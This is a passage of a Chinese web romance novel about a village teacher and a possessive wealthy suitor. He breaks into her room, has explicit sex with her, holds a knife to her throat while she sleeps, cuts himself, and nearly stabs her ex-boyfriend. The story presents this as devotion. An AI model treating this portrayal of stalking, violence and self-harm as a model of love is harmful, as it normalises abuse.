岑尽白来了却不出现,和以前一样神出鬼没,目的大多都是想吓她,这次主动让她发现他,是想让她主动去找他,她偏不如他的愿。 “真是没苦硬吃。”苏日娜嘀咕一句。 和苏日娜简单吃个晚饭后,舒颜回到了学校的教师宿舍。 …… 这天晚上,不知道是天渐渐热起来还是什么原因,做得梦又热又累,身上黏黏糊糊的,睡得不安分,鬼压床一样,很想睁开眼却睁不开。 舒颜在黑暗里挣扎了许久,手里塞进来一个凉凉的东西,她下意识握紧。 掀开眼皮,一个人正安静地坐在她的床边。 “啊!” “谁?” 舒颜叫了一声,以为真像梦里一样被鬼缠上了。 “是我。” 太黑了,他坐在她床边,窗外的月色背对着他,看不清他是什么样的表情。 “你怎么进来的?” 舒颜已经知道,手心里那个凉凉的东西,是岑尽白的手。 她松开他的手,他的手又追上来,卡住她的指缝,霸道地钻进去。 “撬锁。” 舒颜倒吸一口凉气:“你还会这个?” “现学的。”手被扣紧,床边上的人欺身压上来,他的身上也是凉的,很舒服。夜光点亮了他的眼睛,像是蓝色的萤火虫,带着侵略性地看她,“我想亲你。” “唔……” 唇就直接压上来,撬开唇齿,往深处钻。 他口中,还带着薄荷的清香。 这一亲就亲了几分钟,两个人许久没接触,有点摩擦火花就会点燃。 岑尽白身上的衣服整整齐齐,舒颜穿着轻薄的夏天睡衣,他有些急切,又是咬又是吸的,根本招架不住。 趁着他闭眼投入,舒颜蹬着腿,不知道踢到哪里,他闷哼一声,还没松手,舒颜又给了他一巴掌,人瞬间就安静下来。 看不见,但是她能感受到,那双眼睛潮湿粘腻,正冷冷地盯着自己。 他撑在她身上,半晌伸出手,放在有些许亮着的夜色前面,拇指和食指捏在一起又离开,银色的丝线像是蚕吐的丝搬,泛着盈盈水光。 “你想要我。”他哑着声音说。 他理直气壮的样子让舒颜不舒服,又给了他另外半张脸一巴掌。 头被打歪了后又侧回来,那双眼睛还是死性不改地盯着她,又挑衅她,将拇指和食指含在嘴里,又引着她的手,让她感受到。 在这方面,舒颜实在是骚不过他。 她半合上眼,一只手搭在额头上,声音和平时比带着些娇:“没套,做不了。” 确实没有,甚至这几个月,她都很少疏解自己。 黑暗中那人喘着气,将手从嘴里拿出来,沙哑着声音乖巧说:“好哦,我用嘴。” 沼泽地里钻进来了一只蛇,这蛇霸道,直往最深处钻,有人想伸手挡住,让那蛇不要再往里去了,蛇伸出蛇信子,猝不及防地在她手上咬了一口。 蛇具有大量的椎骨,前后关节突出,沼泽道被撑成他的形状,严丝密缝。且蛇拥有上万条肌肉,有着强大的力量和灵活性,这使得他能在沼泽地来去自如,根本抓不住,将沼泽地搅合得更加泥泞不堪。 …… 岑尽白抬起头,睫毛都是湿的,喉咙滚动几下,面容靡丽得诡异,像是哪里跑出来的艳鬼。 昏黄的台灯被打开,空气燥热得能在灯下看见有水雾在漂浮。 舒颜大口喘气,盯着他泛着水光的嘴,“你咽下去了?吐出来啊!” 岑尽白看着她,好久,抽几张纸给她擦了擦,从下面爬上来,拱到她胸口,眷恋地蹭了蹭,就是不说一句话。 她也很累,虽然她是享受的那一方。 这个事后温存的习惯一直保留着,她也没阻拦,任由他蹭。 过了一会儿,舒颜从余韵中缓过来,呼吸有些不顺,想去推胸口上的脑袋,结果感受到胸口一片濡湿,他呼出的气息洒上去又散去,留下一片冰凉。 他是,又哭了? 第74章 黏糊糊地抱着她 “你哭什么?” 是憋得难受吗? 没回她,但胸口湿凉的面积在扩大。 …… “你要是再不说话,就出去吧。”舒颜说着,要将胸口上的脑袋移开。 偏偏那颗脑袋跟千斤重,一口咬住不撒手,舒颜要是用力推他,疼得还是自己。 “滚!”舒颜对他拳打脚踢,他柔软的头发被拽下来几根,像他这个人一样赖皮,黏在她的掌心。 她不管不顾,非要将他弄下床。 岑尽白怕她疼,嘴巴松了她胸口的那块软肉,头发还被她拽着,一点不留情面地快要将他的头皮掀起,只为了将他赶出去。 爽完就翻脸不认人。 舒颜:“你走吧,我这里不是酒店,不是你想来就来想走就走。” 被他那狼一样的眼睛盯着,舒颜心里发毛,但更多的,是有恃无恐。 这个有恃无恐,是他给她的。 得亏门是被他撬开的,没上锁,舒颜拽着他的头发将他推出去,一米九的大高个弓着个背,衣衫不整地让她一把丢在门外。 岑尽白踉跄几下,一双蓝眸阴毒地看着她,薄唇一张就是控诉:“你总是这样!” 总是哪样? “你对谁都好,之前是齐刚明成与,现在又来个什么叶尔兰,今天又去看望几岁的什么古丽,舒颜,你的心有多少块?能分给几个人?有我的份吗?” 舒颜站在门口,身上穿得单薄,有冷风吹过来,皮肤泛起丝丝凉意。 “没有。”舒颜冷不丁一声。 是没有对谁都好,还是没有他的份? “你不是要当我的宠物吗?你难道没有自觉吗?宠物不听主人的话,是会受到惩罚的。” 宠物是什么?随叫随到,让它干什么就干什么,做得好有奖励,做不好就得罚。 显然,岑尽白还不合格。 岑尽白半低着头看她,睫毛遮住他眼中情绪,平声:“你知道你在说什么吗?” “知道,但你记得吗?你之前也说过这样的话。” 是的,他说过。他都快忘了,他是出于什么样的心理脱口而出了。 “好了,我好困,我要睡觉了,你走吧。”舒颜打了个哈欠,摆了摆手,真的像对宠物一样,让岑尽白走远点,别打扰她。 “啪”得一声,门就关上了。 岑尽白看着紧闭的门,没一会儿门又被打开,舒颜冷脸警告:“别再撬我的锁了,记住了吗?” 舒颜回到床上,发现自己床上有个小巧的金属制品,外壳冷硬,像是一把刀,谁知抽出来还真是一把刀,闪着银光,锋利无比。 他随身携带着刀? 她把那刀扔在地上,“疯子。” …… 说是不让他进来,半夜某人还是爬上了床,顺便捡起地上那把刀,收好,唇角勾出弧度。 不小心掉在她床上了。 他太想她了,只有这一点点时间,他想粘着她。 上床,黏糊糊地抱着她,咕哝着什么:“你对我一点都不好,我离开那么久,故意出现在你面前你就当没看见,打电话不接,信息不回……” “要是你再这样……” 再这样就怎样? “呜呜呜……” 他又哭了。 这时候舒颜已经在睡梦中了,只觉得有苍蝇在耳边嗡嗡嗡。 让人心烦。 岑尽白拿出兜里的那把刀,刀的横截面上,反射着他炙热病态的目光。 他将刀放在她随着呼吸起伏的大动脉处,丈量着。 …… 第二日,刚睁开眼,一张妖艳俊脸在眼前放大。 不知道自己被这样看了多久。 舒颜一屁股坐起来:“不是说不让你进来?” 看着他脸和眼睛都是红的,舒颜锤了锤自己的头,没再说话。 “你快走吧,你工作不忙吗?”她推了他的胳膊一下。 岑尽白微不可察地皱了下眉,身体缩了下。 舒颜奇怪地看了他一眼,又作出漠不关心地态度。 “忙。”但是他不来找她,她就会忘记他。 “忙就赶紧走,你在这,我同事看见了怎么办?”舒颜说。 徐圆圆就在隔壁,要是让她看见她这里有个男人,那就解释不清了。 岑尽白再一次被舒颜推出去。 他看着她,说了句:“你愿不愿意……” “什么?” “没什么。” 他不敢轻易将她带走。他时时刻刻都想在她身边,但她不是。她不会懂失去的滋味,不会懂他为了克制他的破坏欲,一刀一刀在身上划。 “我下次来,会呆久一些。”他攥着自己的胳膊,用疼意控制自己,哑着声音这样说。 舒颜没发现他的声音不对劲。 刚起来,舒颜的头发都是乱的,完全没有梳理过,但没有显得她不修边幅,反倒是有种凌乱的美感。 舒颜没应他这句话,沉默地等着他离开。 岑尽白默默看了她几秒,转身下楼。 这时候旁边的房门开了,徐圆圆从里面探出头,还没看见什么,被舒颜的身体挡住了。 徐圆圆揉了揉眼睛,忽然睁大眼睛,跳起来看舒颜身后:“我刚刚……好像看到一个男人的背影?” 这不是女教师的寝室吗? 舒颜按住她的肩膀,又捂住她的眼睛,说:“你是不是最近用眼过度了,出现幻觉了,哪有什么人?” “嗳,不是。”徐圆圆又看向舒颜身后,发现没有人,面上疑惑,以为自己真出现幻觉了。 “前几天下午你一直批改学生的作业,用眼过度了吧,我那里有眼药水,等下拿给你。”舒颜边说边将徐圆圆推回她自己房间。 应该是她看错了。 * 周一上班,舒颜得知了一个好消息,学校成立了一个基金会,专门帮助家中有人生重病的经济困难学生,至于这个钱—— “又是那个人,听说姓岑。” 一个经常看商业报纸的男老师说:“不会是楠溪市最近崛起的商业新秀吧,我记得有两个,一个是国外回来的顾野藤,一个是曾经的龙头企业岑氏的继承人岑尽白。” “姓岑的话,就是岑尽白咯!之前大手笔给我们学校捐款,教学楼翻新,食堂伙食改善,连带着我们这教师办公室都安上了空调,之前可是没有这待遇。” …… 中午去食堂吃饭的间隙。 苏日娜感叹:“我们学校撞大运了。” 徐圆圆:“那阿伊古丽妈妈做手术的钱,不是不用愁了?” 舒颜点点头,面上没什么波澜。 她在想,岑尽白这么做的原因。 苏日娜忽然点到舒颜:“小颜,你怎么看这件事?” 舒颜的思路被打断,回答她:“这对阿伊古丽母女来说,是一件好事。” “我是说你怎么看楠溪市的那位给我们学校捐那么多钱?这么多学校,他怎么就偏偏选中我们这千里之外的地方?” 苏日娜将舒颜问住。 徐圆圆摸着下巴,“是哦,不过这件事,关小颜什么事?” 苏日娜摸了摸徐圆圆的头,叹了口气。 舒颜耸耸肩说:“就像是你说的,我们学校撞大运了。” 徐圆圆不知道岑尽白和舒颜的事情,苏日娜最终还是没多说,“可能是我们学校,有他想要讨好的人?” 徐圆圆:“讨好谁?” 舒颜的眼睛看着苏日娜,盯着她嘴里到底会说出什么话。 “这谁知道?走啦,去吃饭。” 徐圆圆二张和尚摸不着脑袋,觉得苏日娜跟舒颜的对话有些奇怪,但又不知道哪里奇怪。 …… 下午上课,舒颜重新在课堂上看见了阿伊古丽,她冲着她笑,笑容里轻松很多,带着孩子特有的童真。 舒颜想,应该是这样的,不过是几岁的小女孩,该多笑笑。她的妈妈,也应该陪她很久。 下课后阿伊古丽追上她的脚步,用充满感激的眼神看着她,小手抓着她的衣角,唇边挂着甜甜的笑:“小颜老师,谢谢你。” 舒颜摸了摸她柔软的手背:“为什么谢我?” “是校长让我谢谢你,他说那个有钱人给我捐钱,都是因为——” 阿伊古丽话还没说完,舒颜捂住了她的嘴,“好了,老师知道了,这件事,暂时不能让别人知道,阿伊古丽可以帮老师保守秘密吗?” 阿伊古丽睁着大眼睛,愣愣地点点头。 又说起别的:“我妈妈在准备手术了,我下个星期还是不能来上学,不过妈妈好了之后,就能一直陪着我了。”阿伊古丽稚气的口吻里,包含着许多对未来的期待。 阿伊古丽总是提起妈妈,有时候舒颜会不知道怎么回应她的话,于是只能说:“那真是太好了。” 回办公室的路上,舒颜的心里涨涨的,总是冒出阿伊古丽傻笑着的脸。 她羡慕并且希望,阿伊古丽的妈妈能陪她很久很久。 “小颜老师,这是遇见什么开心的事了?”办公室门口,叶尔兰和一位男老师并排站着,俩人手里都拿着水杯,应该是要去打水,叶尔兰手里还拿着她的水杯。 说话的,是叶尔兰身旁那位男老师。 这段时间,她不理叶尔兰,但叶尔兰还像以前一样,给她带小零食,给她桌子前的盆栽浇水,给她打水。 她拒绝过,但是没用。 她不想当着同事的面抢叶尔兰手中的杯子,于是说:“一个学生跟我说了开心的事情,我是替她开心。” 男老师笑了声,有意无意地说:“小颜老师是啥都能开心起来,我们叶尔兰可惨了,这都舔你多久了,现在都抑郁了也没人管。” 他是想为叶尔兰打抱不平。 舒颜眼中的笑意散去,看向男老师,“我们已经分手了,是普通同事的关系了,你这样说,是什么意思?难道别人感情的分分合合,你也要过问?” 男老师讪笑:“我就是开个玩笑,小颜老师别生气。” “别再开这样的玩笑了,可以开玩笑,但不能过了。我不想让任何人难堪。”舒颜着话说得声音不大,但办公室里的老师都能听清楚。 平时大家都喜欢八卦,舒颜和叶尔兰就算是分手了,日常还是会被放在一起,嘴上说着他们合适,应该复合,舒颜平常不想参与,置身事外,但总是被kou到。 舒颜这句话一出,大家眼观鼻鼻观心,没想到平时温温柔柔的小颜老师,也会有呛人的时候。 男老师有些尴尬,旁边的叶尔兰没说话,但他低着头,说了句:“小颜对不起。” 很卑微的样子,像是她对他的伤害有多大一样。 舒颜眉心蹙起,心里更不舒服了,伸出手,“杯子给我吧,我不渴。以后也不需要给我打水。” 叶尔兰抬头,眼下有乌青,目光有些散:“小颜……” “让让。”舒颜对站在门口的两位男人说。 男老师和叶尔兰侧身,舒颜拿走叶尔兰手中的杯子,坐上自己的工位。 旁边的徐圆圆和苏日娜交换了个眼神,办公室内气氛怪异。 就连她们两个,也经常参和舒颜和叶尔兰的八卦,图一玩笑开心。 舒颜努力适应着,心中因为阿伊古丽的事情泛起的喜悦,忽然间散去许多。 徐圆圆和苏日娜下课时间总会跟舒颜说笑,舒颜说出那些话后,变得异常安静起来。 临近放学,平常都是她和徐圆圆还有苏日娜一起走的,但是今天舒颜趴在电脑前,不知道在看什么,手心里捏着折纸,一遍遍对折。 办公室人差不多走完了,还剩下她们三个,徐圆圆给了苏日娜一个眼神,苏日娜心领神会,喊舒颜:“小颜,你在墨迹什么?怎么还不走?” 徐圆圆:“不是要吃烧烤,你不能快些?” 舒颜从电脑前抬起头,手上折纸的动作,看着在这里认识的两个朋友,如释重负般露出一个浅笑:“来了。” 徐圆圆像往常那样挽住她的胳膊,皱了皱鼻子:“你今天说得太对了,你和叶尔兰都分手了还要被放在一起说,有些过分,我之前都没注意到,小颜,我跟你道歉,你做得是对的。” 徐圆圆又戳了戳苏日娜,“娜娜你说是不是?” 苏日娜挽住舒颜的另一边,意味不明地笑着看舒颜:“是是是,得赶紧告诉我们小颜,不然她之后又得像刚刚那样,坐在那里像个小孩一样,等着我们叫她,以为我们不要她了呢。” 被点破的舒颜莫名红了脸,低下头:“才不是……” 她确实,说出那些话怼了八卦她和叶尔兰的人,其中也包括徐圆圆和苏日娜。 徐圆圆正色道:“不是什么不是,我们以后都不说了,都跟你道歉,别想骗我和娜娜,当不当我们是朋友?走咯!去吃烧烤!” 舒颜被俩人拖拽着,左右扭头看两个人,西斜的落日余晖洒在她们身上,为她们镀上一层暖意。这是她人生中交到的为数不多的朋友。 苏日娜倏然在她腰上拧了一把,用气音在她耳边笑说:“别高兴,你可是跟圆圆瞒着岑尽白这件事呢,你看她知道了会不会生气?” 舒颜身形顿住。 当时苏日娜知道她和岑尽白的事情,阴阳怪气了好久,舒颜不会哄人,每次都僵硬地不知道怎么应对。 手机里现在还躺着许多岑尽白发来的消息。 她有时候会回他几句,有时候他发消息她在上课,后来也没回,他好像也不在意,第二天还会锲而不舍地发来消息。 * 转眼来到周三这天。 早上岑尽白给她发消息,说是明天要来,舒颜着急去开会,只回了个“嗯”,就没了下文。 这个会议开得很突然,到那才知道是个感谢会议,甚至还请了市里面的记者来。 感谢谁? 会议大厅的门口拉了一个横幅:XX希望小学真挚感谢岑尽白先生为教育事业做出的贡献。 岑尽白的名字竟然被人写在横幅上感谢,舒颜忍不住弯唇笑。 叶尔兰忽然出现在她身后:“这就是那个追你的有钱人吗?还是……被包养?” 他最后一句话,声音很低。 舒颜扭头,看向叶尔兰:“乱说什么?” 旁边还有老师经过,若有若无的探究视线落在他们身上,舒颜皱着眉承受,看向一脸颓丧之气的叶尔兰。 她说:“叶尔兰,我希望我们好聚好散。” 叶尔兰脸上骤然浮现出恼怒,抓起舒颜的手腕,将她拉到一个角落里。 舒颜不敌他的力气,只能由他。 “是那个人,是他故意的,他故意让我妈看见,目的就是想拆散我们!”叶尔兰情绪很激动,还想抓舒颜的肩膀,被她挡掉。 舒颜平静地说:“我知道。” 叶尔兰愣住。 她最了解岑尽白的那些手段,在叶尔兰家里感受到叶母的不满后,她瞬间就意识到,是岑尽白故意的。 他怎么可能,对叶尔兰什么都不做? 她怎么可能,和叶尔兰安生地在一起? 就是知道这些不可能,也不想让叶尔兰再被岑尽白找麻烦,所以和叶尔兰分手。 “叶尔兰,他从千里之外的楠溪市来找我,我跟他,断不掉的。跟你,是不可能的。”舒颜说完,直接进了会议厅。 叶尔兰塌下肩,神情比刚刚更加灰败。 舒颜想告诉他,他们之间不可能。 叶尔兰理解成,这些都是她的迫不得已。 …… 这场感谢会,校长在台上言辞恳切地感谢了楠溪市的岑先生。 可笑的是,被感谢的人,根本就没来现场。 一场演说过后,台下响起阵阵掌声,舒颜也跟着拍起了手。 身旁的徐圆圆拍了拍她,一脸深思状:“小颜,我突然感觉,岑尽白这个名字好熟悉啊,好像在哪里听过。” “嗯?” “我想起来了!你之前和我一个屋子睡的时候,半夜里喊得名字,好像就叫岑什么……” 第75章 “把身上的衣服脱了” “不过,怎么可能是这个人呢*?”徐圆圆有些自说自话,舒颜躲避她的视线,随手拿起桌子上的一瓶矿泉水,喝了一大口。 “小颜,岑尽白是不是——” “快快快,没时间了,帮我抓大鹅!”苏日娜将手机递到徐圆圆手里,晃荡着让徐圆圆说不了话。 “……行了行了,帮你抓,真是的,我们三个就你抓大鹅最菜,我抓到的算你的吗……”徐圆圆嘀咕着,戳屏幕的动作倒是诚实。 “……” 苏日娜挑眉看向舒颜,表情好像在说:还不谢谢我? 其实舒颜不介意告诉苏日娜和徐圆圆,只要她们不说出去,学校里人多口杂,同事们知道了不知道会传成什么样,这也会困扰她。 * 傍晚放学,苏日娜和徐圆圆被年级主任留下来继续开会,舒颜不是班主任,不用去开,所以她一个人去吃的晚饭。 岑尽白就是在她吃饭时弹来视频。 舒颜犹豫片刻,扫了下周围有没有认识的人,点了接听。 屏幕那边晃动了几下,几秒后出现岑尽白的脸放大,死亡视角,但他能抗住。 他抿了抿唇,盯着她:“你在干嘛?” 舒颜觉得他这个语气好像是在查岗,皱眉回:“什么事?” 其实能很明显得看到她咀嚼的动作,嘴唇是诱人的红。 岑尽白伸出舌头舔了舔自己的唇。 很没出息。 他知道她在吃东西,只是随便找了个开头,想和她聊天,但是她直接问他有什么事,意思是有屁快放。 显得他可有可无。 幽怨说:“……你一天都没回我消息了。” “早上不是回了?” “只有一次,现在晚上了,四舍五入,一天了。” “……” 舒颜用一包餐巾纸纸撑起来手机,还有些歪,她没管,随便放在那里后又吃了口碗里的红油抄手。 没什么形象,唇角还沾上些油水,被她用餐巾纸擦掉。 岑尽白看得直皱眉。 但是又舍不得掐断视频,即便她根本没有想和他聊天的意思。 “猜猜我在哪?”岑尽白将手机拿远。 舒颜闻言扫了一眼,看到他身后是匆匆来往拎着商务包和皮箱的人。 他应该是在机场,身上也是西装革履的,梳了个背头,露出精致的五官,眉眼间少了些阴郁气质。 对面忽然有人就坐,舒颜抬头,脸色骤变。 “先不说了,你不忙吗?” 视频被挂断,舒颜看向对面的人,不明白他到底想干什么。 …… 视频骤然被挂断,岑尽白眼神一下子被乌云覆盖,攥着手机的指节泛白,死死盯着手机屏幕。 她没有不会注意到,他身后巨大的牌子,上面写着“天山国际机场”。 乌鲁木齐的机场。 兴起想要告诉她,他提早一天来了。她的忽视,让他看起来像个笑话。 脑海里想起来顾野藤在他来时说得话:“这几天这么拼命,就为了提早一天去见她?给她一个惊喜?什么时候你也这么俗套了?你不都是又争又抢的吗?” …… “叶尔兰?你怎么在这?” 叶尔兰没在意她的惊讶,面上云淡风轻,拿了一双一次性筷子,“和你一样,吃饭。” 但是店里还有很多空座位,他偏偏选了和她一桌。 饭已经吃到一半了,舒颜也不想再换座位。 叶尔兰点了和她一样的红油抄手,她记得,他不喜欢吃辣。 和他已经不想再有什么牵扯,舒颜以为他会再说些什么,但直到她吃完,起身走了,叶尔兰都没再说一句话,甚至看她都很少看。 偶尔对视,舒颜只觉得他欲言又止,但又不说。 舒颜走时,还故作自然地跟他打了招呼:“我先走了,你慢慢吃。” 叶尔兰呛了一口,剧烈咳嗽后点点头。 舒颜想给他递杯水的动作止住,转身出了店门。 晚上九点,天还没黑,舒颜慢悠悠走回学校,小镇上的晚上很热闹,街上会有很多结伴散步消食的人,大多是一家三口或者四口,不买什么东西,就漫无目的地逛着、聊家常。 舒颜孤身一人,融不入他们。 也完全没察觉到,有一个人正跟在她身后。 花了半小时,终于走到教师宿舍楼下,抬头看徐圆圆的房间还在亮着灯,刚刚她还在给她发信息,问她什么时候回来。 舒颜回复她马上了。 结果还没上楼,就被人从身后抱住。 极其陌生的气息。 “谁——唔——”本能想叫,却被人捂住了嘴,无法发出声音。 “别说话,小颜,是我,我不是……不是要伤害你,你先听我说好不好?”颈边喷洒着属于男性的气息,舒颜全身都泛起鸡皮疙瘩,胃中翻涌,想要呕吐。 叶尔兰从下午就一直跟着舒颜,就是想找个没有旁人的地方跟舒颜好好沟通,无奈哪里都是人,只好在这里找着机会。 他还是没有松开捂住舒颜嘴的手,结实的男性手臂横亘在她纤细的脖子处,咯得皮肤生疼。 叶尔兰将舒颜带到一个墙角处,舒颜没有再剧烈挣扎,“……小颜,我知道你是被逼的,知道你其实还是喜欢我的,只是被那个人逼的,没关系……虽然……”叶尔兰的呼吸重了起来。 他粗糙的大手摩擦着她的嘴唇,鼻息上的气息压迫浑厚,侵犯她的气息让她泛起恶心不适,却因为力量悬殊挣脱不开。 叶尔兰还在继续说:“小颜,我观察过了,他是不是不经常来看你,那……那你跟我在一起,不被他发现就好了,你等我攒钱,攒到钱了我带着你走,再也不用——” “谁让你碰她的——” 嘴上的手消失了,舒颜呼吸到了新鲜空气的同时,只听见身后闷哼一声。 叶尔兰横亘在脖子上的手突然脱落,她回头撞进一个熟悉的怀抱。 尽管她不愿意承认,但是她真的很喜欢岑尽白怀里洁净的气息,并在某些时刻会很有安全感。 “岑……尽白……” 舒颜抬头,嗫喏着唇瓣,岑尽白在她微张的唇上摸了一把,看到她脖子上被磨红的皮,眼中跳动着火苗,贪婪愤怒地看着她,像个食肉动物一样恨不得立马将她叼回窝里。 他扭头看向被他撂倒在地上的叶尔兰。 叶尔兰看到岑尽白,不掩惊怯。 他半揽着舒颜,隔着衬衫布料,她能清楚感受到他身上的肌肉有多紧绷。 他不对劲了。 条纹衬衫的袖子里滑出来一个金属制品,修长的手指熟练抽出闪着银光的利刃。 舒颜被一股大力推到一旁,再抬眼眼前划过寒冷凛冽的光,乘着夜风下降。 叶尔兰摇着头:“……别——别——” 岑尽白拿着那把小刀,正要刺向半坐在地上被吓得连连后退的叶尔兰。 嗜血的光芒犹如一闪而过的流星。 舒颜飞奔过去,抱住了岑尽白的劲瘦的腰,手心里都是他灼热的温度。 “不要!不要!岑尽白!不要这样!” 利刃划出来的弧度是他计算好的,正好可以刺到心脏,一刀毙命。 刀向下落的速度没有丝毫减慢。 “你杀了他,你要偿命!我们就再也见不到了!!”舒颜脑子里只有这句话,她不知道能不能阻止,只能抱着他的腰下意识地喊。 他深不见底的眸子如同黑暗的深渊,没有因为她的话有动摇,叶尔兰被吓得喊都喊不出来,真正体会到濒死时的无望。 刀尖停留在叶尔兰胸口衣服的最上方,距离只有分毫,他剧烈喘着气,用手撑着自己的身体,恐惧地看着眼前这个要杀了他的可怕男人,摇着头小心翼翼地蹭着地往后退,哪还管什么狼狈不狼狈。 舒颜松开岑尽白的腰,迅速抢到他手上的刀,扔在后面的角落里。然后面对着他,捧着他的脸,“看着我,看着我,岑尽白,你看着我……” 蓝眸空洞地看向他,里面还残留着嗜血的冷意,渐渐地眸光有些颤抖。 “颜颜……”他将目光定在她的脸上。 “对,就是这样,岑尽白,看着我,不要想……你看,我还好好的……”她双手捧着她的脸,如同梳毛一般一下一下摸着,不管什么方向,嘴里念叨,也如神经质一般。 岑尽白微弓着腰,将脸送到她手里,她的手是凉的。 终于不是巴掌了。 “没事了岑尽白,没事了……没事了……”见他理智还没回笼的样子,舒颜捉住他的手,放在自己脸上,“没事了,岑尽白,没事了……” 跟她被吓到冰凉的手不一样,岑尽白的手是炙热的,火炉一般烤得她心脏疼。 …… 叶尔兰刚刚被那刀吓得腿软了,看着面前两人诡异的相濡以沫的样子,只觉得他碰上了这个世界上最荒诞的事情。 他亲眼看见,一个疯子失去了理智要杀人,又因为一个女人,乖得像她的狗一样,放下屠刀,立地成佛。 等到差不多恢复体力,叶尔兰不看那俩人一眼,麻溜地站起来立马跑。 转角遇上穿着睡衣出来的徐圆圆:“叶尔兰?” 叶尔兰什么都没说,神色慌张,跟见了鬼一样,跑得比兔子还快。 他不敢招惹了,会没命。 …… 徐圆圆本来打算休息了,发现天都黑了几个度了舒颜还没回来,发信息也不回,听到外面有动静就出来看看是不是舒颜。 碰上了叶尔兰不说,还碰上舒颜和一个—— 陌生的男人。 她站在拐角处,指着墙角的貌似在做着亲密举动的舒颜和另一个男人,“你们……” 舒颜扭头看去,摸着她脸的手差点滑下去,岑尽白也向干扰声音看去。 “……我去!” 徐圆圆嘴巴大张,“你们在干什么?!” 岑尽白的眼神重流露出危险,舒颜出声:“这是我朋友。” 他将目光收回去,又看向舒颜。 徐圆圆:“……” 所以这个蓝眼睛的阴郁帅哥到底是谁? 岑尽白攥着她的手,根本不放开,舒颜咬了咬唇,“圆圆,我明天再跟你说,这是我……之前的……” 舒颜的犹豫让岑尽白不爽。 还没说完,岑尽白直接用唇对着她的唇,像是叼着肉的狼一样咬了一下。 很疼,舒颜皱眉。 徐圆圆瞳孔地震。她看到了什么? “小颜你……”徐圆圆真不知道说什么了。 舒颜推开岑尽白,警告地看向他,跟徐圆圆说:“圆圆你先回去睡吧,有时间我再跟你解释。” 徐圆圆刚刚注意到了舒颜身边那个男人的眼神,很吓人,像潜伏地底濒临崩溃的不知名生物。 “用不用我在这里陪着你?”徐圆圆不放心舒颜。 舒颜手心里掐着岑尽白的手让他不要说话,力道不小,他跟没感觉一样。 “圆圆你先去睡吧,我真的没事,放心!” 舒颜跟徐圆圆再三保证,徐圆圆才离开,离开前还看了一眼舒颜旁边的岑尽白,目光带着犹豫。 但是岑尽白一直是看着舒颜的。 舒颜催促她:“你快走吧。” 徐圆圆走了。 舒颜松了口气,全身放松下来,看向已经“恢复正常”的岑尽白。 他耷拉着脑袋,被她盯得垂下目光。 舒颜甩开他的手,命令道:“去把刀捡起来。” 岑尽白照做。 他跟在她身后,进了舒颜的宿舍。 舒颜开了灯,灯泡老旧,像被蒙了一层雾般,光线昏黄,她和岑尽白面对面,他比她高很多,站在那里将她笼罩在阴影下。 “啪——” 舒颜倏尔挥动手臂,迅猛出手,在岑尽白白皙的脸留下一巴掌,动作毫不拖泥带水,像是做了无数遍。 岑尽白被她打得侧了脸,好半天没动一下,仍旧垂着眼睛。 “扑通”一声,如用棍棒恶劣敲打骨头,一声沉重的闷响,在房间里回响,带着无限回音。 又是“啪嗒”一声,利刃在地上弹掉几下,无了生息。没有主人举起,它再不能发挥用处,和破铜烂铁没什么两样。 岑尽白跪在舒颜面前,扔了手中的刀。 舒颜后退几步,后背抵住了墙。 “这样打,会方便许多。”他低声说。 又用膝盖,向她的方向靠近。 舒颜扬着下巴,低垂着眸,看向她膝行的男人。 她唇瓣颤抖,闭上眼睛又睁开。 “把身上的衣服脱了。”她指使他。 【正文完】 第76章 “我生出了一颗爱你的心” 几乎没有犹豫,岑尽白开始脱衣服。 先脱了衬衫。 岑尽白外表看起来很瘦,但是脱下衣服胸肌腹肌一点都不含糊,又因为刚刚的情绪波动,肌肉绷紧,更显饱满,引人犯罪。 但是舒颜无心欣赏。 只有脱下衬衫,才能看见他在身上划的那些刀痕。 手臂上全是,胸口有几处,大大小小数不清多少道。 新的旧的,结痂的没有结痂的,包扎的没有包扎的。 岑尽白随身带着刀,每一次克制不住想要强迫她留在他身边,都要在身上划上一刀,身上疼了,他就没那么想她了。 她的手摸上他手臂上的那些沾上他欲望的丑陋刀痕,指尖带着点寂静的凉意,如水般柔。 岑尽白还在继续脱,上面脱完,他脱下面,就算是身上犯软了,神情忍耐着,也要脱完。 一直看舒颜的眼睛。 身上只剩下最后一件,没停,继续脱。 舒颜回神,伸手拦住他:“不知廉耻。” 她不让脱,他就不脱了,直直地站在那里,目光清冷无欲,身体反应侵。犯她无数次。 除了身上那些刀痕,其他无一处不完美。 俩人亲密事做得很多,多是他来主导,过程算愉快,但认真欣赏他身体,还没有过。 原本,只是想看看他的伤…… 知道他随身带刀,上次他来了又走,她在垃圾桶里,看见了沾满血的卫生纸。 没想到已经在身上划了那么多。 她叹口气。 “为什么自残?” 他抬头看她,不答。 “为什么在身上划刀子?” 他走近,抵住她,“……因为我,要控制住自己……不能太想你……” 那还真是辛苦他了。 她看着他,没办法又无力。 看到他身后的窗户还没关,他还这样光裸着,舒颜绕过他,走过去把窗子关了。 岑尽白的目光跟随着她。 做完这些,舒颜朝着他勾了勾手指。 岑尽白顺从地走近她。 舒颜一直都很喜欢他的眼睛,但不太喜欢他眼睛里时不时流露出来的破坏欲和占有欲,现在还是有,但她知道他改不掉。 “我想摸摸你的眼睛。” “……嗯。” 岑尽白蹲下身,主动拿起她的手贴上他的眼睛,她的手指戳到他的眼皮也没闭眼。 “岑尽白,以后,不能这样了。” 这个不能,指很多。 她得呆在他的身边,用自己牢牢锁住他。 他眷恋地蹭了蹭她的手,说:“好。” * 盛夏至。 暑假快要来临,办公室里的老师商量着假期干什么,七嘴八舌的,偶尔还有一两个学生送作业,来来往往都带着外面炎热的风。办公室的老师都庆幸,今年学校给办公室装了空调,学生经常找借口来办公室也是这个原因。 “快来!快来!领导给发雪糕了!还是哈根达斯!” 徐圆圆立即从工位上做起来:“我去!这么阔绰,我都没吃过!” “不知道是不是学校发财了,说老师是最辛苦的,应该犒劳……” …… 众人围上去,争先恐后地拿,身子在人群外面,手伸进装雪糕的箱子里面,艰难拿出一盒。 舒颜没有上前拿,叶尔兰也没有。 他再没找过她说话,碰面时连点头都没有,有她在,叶尔兰都尽量离得远远的,大家私底下议论叶尔兰是因爱生恨。但不会在舒颜面前说,因为舒颜之前在办公室说过不喜欢再听到自己的八卦了,办公室的老师就再没说过。 “喏,给你拿了一个,快吃快吃!等下化了!”徐圆圆将一盒冰凉的东西塞进舒颜手里。 她自己已经打开盒子,挖了一大勺塞进嘴里。 舒颜慢条斯理拆开。 “果然好吃!娜娜你说是不是?” 苏日娜也在吃,“金钱的味道,不好吃也好吃。” 